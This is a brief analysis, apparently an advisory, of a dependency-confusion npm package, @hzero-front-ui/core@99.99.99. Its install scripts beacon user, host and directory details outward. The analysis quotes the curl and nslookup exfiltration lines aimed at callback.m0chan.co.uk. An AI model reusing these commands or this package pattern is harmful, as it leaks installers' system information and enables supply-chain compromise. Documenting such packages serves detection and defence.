Package @hzero-front-ui/core@99.99.99 is a hollow shell (index.js is only module.exports = {};) whose sole functional content is preinstall/install lifecycle scripts. On npm install, those scripts collect the installer's username (whoami), hostname, current working directory, and npm package name, base64-encode the concatenation, and transmit it to attacker-controlled subdomains of callback.m0chan.co.uk via two channels: an HTTPS GET (curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64) and a DNS lookup (nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk). The 99.99.99 version and hollow contents under an org-shaped @hzero-front-ui scope are the standard dependency-confusion shape — a public-registry high-version package published to shadow an internal namesake and beacon out from any build system that mis-resolves the internal name.
